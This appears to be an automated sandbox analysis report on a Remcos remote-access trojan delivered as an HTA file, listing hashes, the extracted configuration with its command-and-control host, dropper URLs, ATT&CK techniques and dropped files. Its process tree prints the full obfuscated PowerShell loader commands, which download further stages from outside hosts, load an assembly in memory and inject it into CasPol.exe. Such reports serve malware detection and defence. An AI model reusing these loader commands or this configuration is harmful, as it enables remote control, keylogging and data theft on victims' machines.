remcos | ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13/11/2024, 07:27

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General

Target

seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta
Size

207KB
MD5

a9cf15c4f82d5c26f48f4a16dfe7bd1a
SHA1

f7f0b669264b0a42b290cb5476e21ffa51eebf34
SHA256

ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57
SHA512

5a5f5e6d18a776646328ce85e59f12424f1fb8c2612d1299db7bc378177be369bb6e391488b02d40a682c37857bcf0576d415534c5aba4796f46c39ea5b21d2c
SSDEEP

48:4FhWsTR/F7gNqXfkz0eZC0yZhboWWCRzESPUJ0cv5p299DdCf+xuj9AoapwSI0t7:43F97AIyCRRtnu4fAf+cZAoaDna8YQ

Score

10^/10

remcos remotehost defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

remcos

Botnet

RemoteHost

wayo.duckdns.org:6847

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-Z90JT3
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	3676	PoWeRsHELL.EXE
17	1148	powershell.exe
24	1148	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2168	powershell.exe
1148	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
3676	PoWeRsHELL.EXE
1360	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1148 set thread context of 2868	1148	powershell.exe	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PoWeRsHELL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	PoWeRsHELL.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3676	PoWeRsHELL.EXE
3676	PoWeRsHELL.EXE
1360	powershell.exe
1360	powershell.exe
2168	powershell.exe
2168	powershell.exe
1148	powershell.exe
1148	powershell.exe
1148	powershell.exe
1148	powershell.exe
1148	powershell.exe
1148	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3676	PoWeRsHELL.EXE
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2868	CasPol.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 3940 wrote to memory of 3676	3940	mshta.exe	86
PID 3940 wrote to memory of 3676	3940	mshta.exe	86
PID 3940 wrote to memory of 3676	3940	mshta.exe	86
PID 3676 wrote to memory of 1360	3676	PoWeRsHELL.EXE	88
PID 3676 wrote to memory of 1360	3676	PoWeRsHELL.EXE	88
PID 3676 wrote to memory of 1360	3676	PoWeRsHELL.EXE	88
PID 3676 wrote to memory of 1608	3676	PoWeRsHELL.EXE	91
PID 3676 wrote to memory of 1608	3676	PoWeRsHELL.EXE	91
PID 3676 wrote to memory of 1608	3676	PoWeRsHELL.EXE	91
PID 1608 wrote to memory of 1384	1608	csc.exe	92
PID 1608 wrote to memory of 1384	1608	csc.exe	92
PID 1608 wrote to memory of 1384	1608	csc.exe	92
PID 3676 wrote to memory of 5000	3676	PoWeRsHELL.EXE	96
PID 3676 wrote to memory of 5000	3676	PoWeRsHELL.EXE	96
PID 3676 wrote to memory of 5000	3676	PoWeRsHELL.EXE	96
PID 5000 wrote to memory of 2168	5000	WScript.exe	97
PID 5000 wrote to memory of 2168	5000	WScript.exe	97
PID 5000 wrote to memory of 2168	5000	WScript.exe	97
PID 2168 wrote to memory of 1148	2168	powershell.exe	99
PID 2168 wrote to memory of 1148	2168	powershell.exe	99
PID 2168 wrote to memory of 1148	2168	powershell.exe	99
PID 1148 wrote to memory of 3188	1148	powershell.exe	102
PID 1148 wrote to memory of 3188	1148	powershell.exe	102
PID 1148 wrote to memory of 3188	1148	powershell.exe	102
PID 1148 wrote to memory of 3164	1148	powershell.exe	103
PID 1148 wrote to memory of 3164	1148	powershell.exe	103
PID 1148 wrote to memory of 3164	1148	powershell.exe	103
PID 1148 wrote to memory of 2868	1148	powershell.exe	104
PID 1148 wrote to memory of 2868	1148	powershell.exe	104
PID 1148 wrote to memory of 2868	1148	powershell.exe	104
PID 1148 wrote to memory of 2868	1148	powershell.exe	104
PID 1148 wrote to memory of 2868	1148	powershell.exe	104
PID 1148 wrote to memory of 2868	1148	powershell.exe	104
PID 1148 wrote to memory of 2868	1148	powershell.exe	104
PID 1148 wrote to memory of 2868	1148	powershell.exe	104
PID 1148 wrote to memory of 2868	1148	powershell.exe	104
PID 1148 wrote to memory of 2868	1148	powershell.exe	104

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3940
- C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
  "C:\Windows\SysTEm32\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE" "PoWerSheLl.exE -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT ; Iex($(iEX('[sYSTEm.teXt.EncOdInG]'+[Char]58+[CHar]58+'utf8.gEtSTRIng([sYsTeM.CoNVERt]'+[chAr]0X3a+[ChAR]0x3a+'fROmbaSe64StrInG('+[Char]0X22+'JHhPVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iZXJEZUZpTklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1Pbi5EbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFU1RuY2xIQkcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUVlLeFpVVHBBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4WnhmeGlKLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXVlpTdlp6Q2p4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtFV09RcFNsZlRkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicnFDcFB6RkpybUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhPVzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTkyLzU1L3NlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycndlYXRmb3IudElGIiwiJGVOVjpBUFBEQVRBXHNlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycncudmJTIiwwLDApO1NUQVJULVNMZWVQKDMpO1NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVxzZWVtZWJlc3R0aGluZ3NvbnRoZXBhcnRvZndvcmxkd2hpY2hncnJ3LnZiUyI='+[chAr]0X22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3676
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1360
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kfzdomwy\kfzdomwy.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1608
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAE12.tmp" "c:\Users\Admin\AppData\Local\Temp\kfzdomwy\CSC4C264D83C42644FBB64C862F25356C.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1384
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5000
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHZFcmJvc2VQckVGZXJFTkNFLlRvU1RSSW5nKClbMSwzXSsnWCctSm9pTicnKSgoKCdJY3BpbWFnZVVybCA9IE9BSWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2QnKyc5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgT0FJO0ljcHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SWNwaW1hZ2VCeXRlcyA9IEljcHdlYkNsaWVudCcrJy5Eb3dubG9hZERhdGEoSWNwaW1hZ2VVcmwpO0ljcGltYScrJ2dlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVUJysnRjguR2V0U3RyaW5nKEljcGltYWdlQnl0ZXMpO0ljcHN0YXJ0RmxhZyA9IE9BSTw8QkFTRTY0X1NUQVJUPj5PQUk7SWNwZW5kRmxhZyA9IE9BSTw8QkFTRTY0X0VORD4+T0FJO0ljcHN0YXJ0SW4nKydkZXggPSBJY3BpbWFnZVRleHQuSW5kZXhPZihJY3BzdGFydEZsYWcpO0ljcGVuZEluZGV4ID0gJysnSWNwaW1hZ2VUZXh0LkluZGV4T2YoSWNwZW5kRmxhZyknKyc7SWNwc3RhcnRJbmRleCAtZ2UgMCAtYW5kIEljcGVuZEluZGV4IC1ndCBJY3BzdGFydEluZGV4O0ljcHN0YXJ0SW5kZXggKz0gSWNwc3RhcnRGbGFnLkxlbicrJ2d0aDtJY3BiYXNlNjRMZW5ndGggPSBJY3BlbmRJbmRleCAtIEljcHN0YScrJ3J0SW4nKydkZXg7SWNwYmEnKydzZTY0Q29tbWFuZCA9IEljcGltYWdlVGV4dC5TdWJzdHJpbmcoSWNwc3RhcnRJbmRleCwgSWNwYmFzZTY0TGVuZ3RoKTtJY3BiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChJY3BiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMTR1IEZvckVhY2gtTycrJ2JqZWN0IHsgSWNwXyB9KVstMScrJy4uLShJY3BiYXNlNjRDb21tYW5kLkxlbicrJ2d0aCldO0ljcGNvbW1hbmRCeXRlcyA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSWNwYmFzZTYnKyc0UmV2ZXJzZWQpO0ljcGxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChJY3AnKydjb21tYW5kQnl0ZXMpO0ljJysncHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoT0FJVkFJT0FJKTtJY3B2JysnYWlNZXRobycrJ2QuSW52b2tlKEljcG51bGwsIEAnKycoTycrJ0FJdHh0LkRFRERFV0VTLzU1LzI5MS44NzEuNjQuODkxLy86cHR0aE9BSSwnKycgT0FJZGUnKydzYXRpdmFkb09BSSwgT0FJZGVzYXRpdmEnKydkb09BSSwgT0FJZGVzYXRpdmFkb09BSSwgT0FJQ2EnKydzUG9sT0FJLCAnKydPQUlkZXNhdGl2YWRvT0FJLCBPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUkxT0FJLE9BSWRlc2F0aXZhZG9PQUkpKTsnKSAtUmVwTEFjRSAoW0NoYVJdNDkrW0NoYVJdNTIrW0NoYVJdMTE3KSxbQ2hhUl0xMjQgIC1jcmVwbEFDRSdPQUknLFtDaGFSXTM5IC1jcmVwbEFDRShbQ2hhUl03MytbQ2hhUl05OStbQ2hhUl0xMTIpLFtDaGFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2168
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $vErbosePrEFerENCE.ToSTRIng()[1,3]+'X'-JoiN'')((('IcpimageUrl = OAIhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd'+'9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OAI;IcpwebClient = New-Object System.Net.WebClient;IcpimageBytes = IcpwebClient'+'.DownloadData(IcpimageUrl);Icpima'+'geText = [System.Text.Encoding]::UT'+'F8.GetString(IcpimageBytes);IcpstartFlag = OAI<<BASE64_START>>OAI;IcpendFlag = OAI<<BASE64_END>>OAI;IcpstartIn'+'dex = IcpimageText.IndexOf(IcpstartFlag);IcpendIndex = '+'IcpimageText.IndexOf(IcpendFlag)'+';IcpstartIndex -ge 0 -and IcpendIndex -gt IcpstartIndex;IcpstartIndex += IcpstartFlag.Len'+'gth;Icpbase64Length = IcpendIndex - Icpsta'+'rtIn'+'dex;Icpba'+'se64Command = IcpimageText.Substring(IcpstartIndex, Icpbase64Length);Icpbase64Reversed = -join (Icpbase64Command.ToCharArray() 14u ForEach-O'+'bject { Icp_ })[-1'+'..-(Icpbase64Command.Len'+'gth)];IcpcommandBytes = [Syst'+'em.Convert]::FromBase64String(Icpbase6'+'4Reversed);IcploadedAssembly = [System.Reflection.Assembly]::Load(Icp'+'commandBytes);Ic'+'pvaiMethod = [dnlib.IO.Home].GetMethod(OAIVAIOAI);Icpv'+'aiMetho'+'d.Invoke(Icpnull, @'+'(O'+'AItxt.DEDDEWES/55/291.871.64.891//:ptthOAI,'+' OAIde'+'sativadoOAI, OAIdesativa'+'doOAI, OAIdesativadoOAI, OAICa'+'sPolOAI, '+'OAIdesativadoOAI, OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAI1OAI,OAIdesativadoOAI));') -RepLAcE ([ChaR]49+[ChaR]52+[ChaR]117),[ChaR]124 -creplACE'OAI',[ChaR]39 -creplACE([ChaR]73+[ChaR]99+[ChaR]112),[ChaR]36) )"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1148
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        
        PID:3188
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        
        PID:3164
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
102B

MD5
c1cc45ea8de3a6487e2cc2651f7ffbe7

SHA1
5957213ee79c913f97ee604f07f05dfa43abea56

SHA256
5933da5899e0d9291b4c49a11d91ec5ee283056e41253c3c861f79f8e4cc9afa

SHA512
378469e5b2d388058092e10387710cd75b8272b3b584f4d5875185e655ad8ed32d0dedd8feee69a4a0e653f79e16435c1857c2cd70e79d87af121af54eab660c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoWeRsHELL.EXE.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
caa7746dbb38dbc5e82cae417d83ea27

SHA1
d107274a2507d4b0852f9ac4aeb0c253eb36022e

SHA256
9f5977e1962bc19c291cd309753da2ebf254b718e0f28fbd92642bdd8db426ae

SHA512
88c3df275422b7bc4e1baeb3189d12c03d55286ed2166e231f8cca0d007bdf3abefd4c7c694d8eedd6cedd6d3cd57c891ac3148372f6cb358e41eed5f27be395

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
6569d07a55e4420915c31c7e858f2cfd

SHA1
6fde0cafa3972ac39292de348ae8cb6685fabcbe

SHA256
c80b708f0b7adc007cf78ac13a6aeba6f0577f912b65664f131dc4277abdc462

SHA512
5cd75e5dce79392c2e6b66ae9af569930baabb1a077ba12d3ac4f6b5d2da57ad9b416b962aceee7508d9f23609d6569a5ab25889f7b701776be2d921869f0c65

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESAE12.tmp

Filesize
1KB

MD5
567b276f03688fe44052badae677c4a3

SHA1
3ff712395b6de5ce2f3b67e15b897171687fd3a4

SHA256
fb87897ad5ceaee4e8d7cea44bc225f1bb045d695ff6201718f771a60c93def6

SHA512
81d627890dfeb7f725d8aef25d4ce6b275f4f8b737f67d2b07b6c8564c22174b035ac17c61a1e5365e30bc42c24e4af6c8f16c83c9f0d67c0bf0630dfa114309

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ocjc525n.1tp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\kfzdomwy\kfzdomwy.dll

Filesize
3KB

MD5
08c3cff96b737b61b909b576ff44ef2c

SHA1
cab674da719ba9cd9f960e3a8a955c7e45064459

SHA256
891c9d23bc58fb60082d3e3a012dbebf7875307c33f02fda7ae71232b54fdaf7

SHA512
24f1540daf5eeca898049378bf031080fb7919fa7ede574a33d47e38979e0f9963bacf6ce27b288c6b32c5f080d909716a409ceb5d595f071739e33ba97ca366

Download Submit
C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS

Filesize
139KB

MD5
1860dcae987d5ed903d93a6cfc698eaf

SHA1
aaee36eb86bd7c80fd0ae9328bea5650f8c74d12

SHA256
d72fec7ef303edc51d89e59e92743962f4f742d4678f4d01cafb1a110741efb3

SHA512
73befb8642d5c9828c6d67bcbcb4b6128410c07e2abbef7ae65a3fa4fc067ee50e7c9c81cf1e2f2b56ddd8cbfa94f20bf56ce3e8848d7a9403a14c8de6d22742

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kfzdomwy\CSC4C264D83C42644FBB64C862F25356C.TMP

Filesize
652B

MD5
b7b2c16a418058ed127d625a2c84d13c

SHA1
979497cb3e42ae5052e737af30aa4ec68154ca4b

SHA256
28d3f5206910403586279935503006187e7e348d917b69e5d432dfa8c3dc5674

SHA512
cb039e87a76f6dd438fdb4ceb64918de700f1186e6bdd4d3fa7c78cdc8177f2b45af00531f35a0d07a3431e9feb3a8b1d2c695ccb8dec8dc9b7e4b31f9c11a3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kfzdomwy\kfzdomwy.0.cs

Filesize
496B

MD5
f8f40cf06d8b2ceb49d38fdf52e8ecc0

SHA1
1ff0676c6503f21f4899ba1cbc30351318403804

SHA256
39f96499c4e911bc620f0facad68dab4452781beb339326f5910c5caea5714a2

SHA512
020e05dd5bd89e587dfa492086e433ea0620fb58ead54c1325a527ba8d1bf7251faa66116b69b4a802e4f2994215de1b146fd2df6f9347470e280bf7a22a7857

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kfzdomwy\kfzdomwy.cmdline

Filesize
369B

MD5
2dee9b5118c12d08a4c22a5af47ee5aa

SHA1
9bebbe2219fb7696c655b78d3e5de5d821d2717d

SHA256
79a40f8bb84a0bcfca59f489cbc1fc6bacf77ab2c788df1c3fe20411435bca88

SHA512
c2904a5c24df845c5bca95aaf3c376f547f968cdeeb8805b2e9910418cda18a2f0d261c196c24b5d6a0da6e7b06a2570fedf7966fa47e7f9959b704d2923c174

Download Submit
memory/1148-101-0x0000000007AB0000-0x0000000007C08000-memory.dmp

Filesize
1.3MB

Download
memory/1148-102-0x0000000007C10000-0x0000000007CAC000-memory.dmp

Filesize
624KB

Download
memory/1360-29-0x0000000006E10000-0x0000000006E42000-memory.dmp

Filesize
200KB

Download
memory/1360-46-0x00000000073B0000-0x00000000073C1000-memory.dmp

Filesize
68KB

Download
memory/1360-41-0x0000000006E50000-0x0000000006EF3000-memory.dmp

Filesize
652KB

Download
memory/1360-42-0x0000000007800000-0x0000000007E7A000-memory.dmp

Filesize
6.5MB

Download
memory/1360-43-0x00000000071B0000-0x00000000071CA000-memory.dmp

Filesize
104KB

Download
memory/1360-44-0x0000000007210000-0x000000000721A000-memory.dmp

Filesize
40KB

Download
memory/1360-45-0x0000000007440000-0x00000000074D6000-memory.dmp

Filesize
600KB

Download
memory/1360-40-0x0000000006DF0000-0x0000000006E0E000-memory.dmp

Filesize
120KB

Download
memory/1360-47-0x00000000073E0000-0x00000000073EE000-memory.dmp

Filesize
56KB

Download
memory/1360-48-0x00000000073F0000-0x0000000007404000-memory.dmp

Filesize
80KB

Download
memory/1360-49-0x0000000007500000-0x000000000751A000-memory.dmp

Filesize
104KB

Download
memory/1360-50-0x0000000007430000-0x0000000007438000-memory.dmp

Filesize
32KB

Download
memory/1360-30-0x000000006D820000-0x000000006D86C000-memory.dmp

Filesize
304KB

Download
memory/2168-86-0x0000000005E70000-0x00000000061C4000-memory.dmp

Filesize
3.3MB

Download
memory/2868-110-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-127-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-152-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-151-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-144-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-143-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-136-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-135-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-128-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-113-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-120-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-119-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-118-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-116-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-104-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-105-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-107-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-115-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2868-114-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
